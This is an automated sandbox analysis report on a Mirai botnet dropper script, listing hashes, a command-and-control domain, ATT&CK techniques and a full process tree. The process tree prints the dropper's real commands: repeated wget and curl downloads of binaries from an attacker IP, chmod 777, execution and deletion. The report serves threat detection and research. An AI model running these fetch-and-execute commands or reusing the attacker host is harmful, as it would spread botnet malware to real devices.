mirai | f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/11/2024, 22:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
rj.sh
Size 1014B
Sample241111-2mmvpaycrn
SHA256 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea
MD5 3667799053f4009f50ade26e54eceaed
SHA1 a225785fba210867964c103a300ab8bdc75cbf32
SHA512 dbf307c3dea46162e124ac6246e55577446b34d65d67fbfa3ea3913073c704f15b317c1e076fe9da5b069acf874267e43f4f182448e164b1bd2710a5156cff8b
MD5 SHA1 SHA512

Score

10^/10

mirai botnet antivm botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

skt.bsktem.online

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
688	chmod
700	chmod
721	chmod
746	chmod
787	chmod
792	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/mips	689	mips
/tmp/mpsl	701	mpsl
/tmp/arm4	723	arm4
/tmp/arm5	747	arm5
/tmp/arm6	788	arm6
/tmp/arm7	793	arm7

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	arm4
File opened for modification	/dev/watchdog	arm5
File opened for modification	/dev/misc/watchdog	arm5
File opened for modification	/dev/watchdog	arm7
File opened for modification	/dev/misc/watchdog	arm7
File opened for modification	/dev/watchdog	arm4

Enumerates active TCP sockets 1 TTPs 2 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	arm5
File opened for reading	/proc/net/tcp	arm7

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	723	arm4
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	747	arm5
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	793	arm7

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 2 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	arm5
File opened for reading	/proc/net/tcp	arm7

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
658	wget
680	curl
689	mips
691	rm

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/arm4	wget
File opened for modification	/tmp/arm4	curl
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/arm7	curl

/tmp/rj.sh
/tmp/rj.sh
1⤵
PID:656
- /usr/bin/wget
  wget http://198.23.197.241:4782/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://198.23.197.241:4782/mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod 777 mips rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/mips
  ./mips rj
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:689
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:691
- /usr/bin/wget
  wget http://198.23.197.241:4782/mpsl
  2⤵
  - Writes file to tmp directory
  PID:692
- /usr/bin/curl
  curl -O http://198.23.197.241:4782/mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 mpsl rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/mpsl
  ./mpsl rj
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm -f mpsl
  2⤵
  PID:704
- /usr/bin/wget
  wget http://198.23.197.241:4782/arm4
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://198.23.197.241:4782/arm4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/chmod
  chmod 777 arm4 rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/arm4
  ./arm4 rj
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:723
- /bin/rm
  rm -f arm4
  2⤵
  PID:725
- /usr/bin/wget
  wget http://198.23.197.241:4782/arm5
  2⤵
  - Writes file to tmp directory
  PID:726
- /usr/bin/curl
  curl -O http://198.23.197.241:4782/arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 arm5 rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/arm5
  ./arm5 rj
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:747
- /bin/rm
  rm -f arm5
  2⤵
  PID:784
- /usr/bin/wget
  wget http://198.23.197.241:4782/arm6
  2⤵
  - Writes file to tmp directory
  PID:785
- /usr/bin/curl
  curl -O http://198.23.197.241:4782/arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod 777 arm6 rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/arm6
  ./arm6 rj
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm -f arm6
  2⤵
  PID:789
- /usr/bin/wget
  wget http://198.23.197.241:4782/arm7
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://198.23.197.241:4782/arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 arm7 rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/arm7
  ./arm7 rj
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:793
- /bin/rm
  rm -f arm7
  2⤵
  PID:797

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm4

Path /tmp/arm4
Size 38KB
SHA256 4ee2e64949d2946cc22a088d6368ffb0c0b4b82e2d99debdc0b5ecd15fecd19b
MD5 7204586b1119f8d23605fd346449981d
SHA1 eae47e3bedab27f58e15298b3953101c1caf42b6
SHA512 28b29daa0a0557571aa5e103a166cbd21cbd8a2806421af46a188163f1a1e241039c5fde698a418714ff1ed6c3715a94bfd1e8e79d52ed3c95d7c1fbe910df5e
SSDEEP 768:q22lDQf9HuUssTuHPnVL0AknNDoK7/NP2uqoZp:/uDY9CPnroNRR
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm5

Path /tmp/arm5
Size 38KB
SHA256 010e1667757d64d00e8b64587f4222bedf6452bfb2ea2a5b873a014538128607
MD5 f9b1bcfa2a366a10966576d7d9147bc9
SHA1 766c6cbbf27a22c679430de92f1cfa034cc76f84
SHA512 1bd8f988649f17a9affd3aa0848a104977011f9b8e9f7ad50b9a11f340d0b4f843fbfce85a1924fb5340f6efce4ccffcde362fd3007396b884547def15ee6e01
SSDEEP 768:0TdL5V0srehZhkhB1rdqKDWloIqS/NPISdq6h:cL70GB1vatC
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm6

Path /tmp/arm6
Size 49KB
SHA256 d7972f8fe7b7c7c5949faa3fd1862fd6314925a3418ed8c176350aea45e9a72a
MD5 51f66382ec443b96a44d553c58b27961
SHA1 29c1f89ef9698ad41871d9969a90c136ad72493b
SHA512 91c25079624c515ae86bbc0f89f0a9c7d03fb296ec77a968b38b53bd637c69d026cafd9385b0daae9c3f7baa5e0bcb63bb88d20ede48233bbba97eb6df9539e2
SSDEEP 1536:ERn86aHzYS8PbDQuyuvDPBIRi1yUUvqAI:EaHESqDvyWyUUvqA
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm7

Path /tmp/arm7
Size 107KB
SHA256 237ecb6c58b28a420bcd13266fa36abee904172f54a33418ddf097118379243b
MD5 60a6d07e3fe1d1f45612f23671d81f71
SHA1 4c56554abeca2389381ca7e5f055d6fefd1cbf73
SHA512 f1b7e2128b821206e41621a14deca3a3131fab9f8e25cd90a6bb628fe32b171b76278afc8156f2ac6fb88a2f328a1607142733ac503595ed70731ff7ea0f2130
SSDEEP 3072:xM8ku86ezvewKJCG/bLO/c9HpslpM/9W2:xM8+6ezewKJCGTLlHpapM/9T
MD5 SHA1 SHA512 SSDEEP

Submit Download

mips

Path /tmp/mips
Size 49KB
SHA256 ee3e0416f1c504777be8e4f5d9c65ca06a845c86f1896f691fe586b46ea262cd
MD5 1a7df7743042eeb96e3314a77269ca9c
SHA1 172ee673c8fcc9f97efa7ac03f4d93d5e5ff7067
SHA512 840c59038e74e1b2e97341079163cd115c1e291c8fdb3edd5d3b85dbd5214778236a657062bb89290b37210d0df3f3e497338ea20643670a8f9f2701a89b7059
SSDEEP 768:C2XR0HAgZL4JbKU11GIFyN9qfKpzt6VkRS29GPG2AXdvEKK1p2n:L0X4bKu1Gfzt6VVqnJvVKW
MD5 SHA1 SHA512 SSDEEP

Submit Download

mpsl

Path /tmp/mpsl
Size 50KB
SHA256 d35c611202ebe3e23d7610c58b1e17dd4adff1b5412d805afcdfe20b95a0c475
MD5 32761a8b5287dca0a9b9f2b3168287f8
SHA1 1beaf9070fefcc2b4a106a0b22afda305f781c9d
SHA512 19dd282905fdf4661d1191ec29fdbf320242ba2de6b3827b8d6fe994bd93cf5541e539b0529dcbbe40c602a10dd7a4e6bf7fcdd1e4390088b4e9fd679cd5d7ac
SSDEEP 768:TFSGN3E9+/2vsSeewZ/xx5p4ekFeoceuxDfS9XiOlzJzhmw:TFJpEo/2vsSTw9nwZF1c1xD6BJl
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads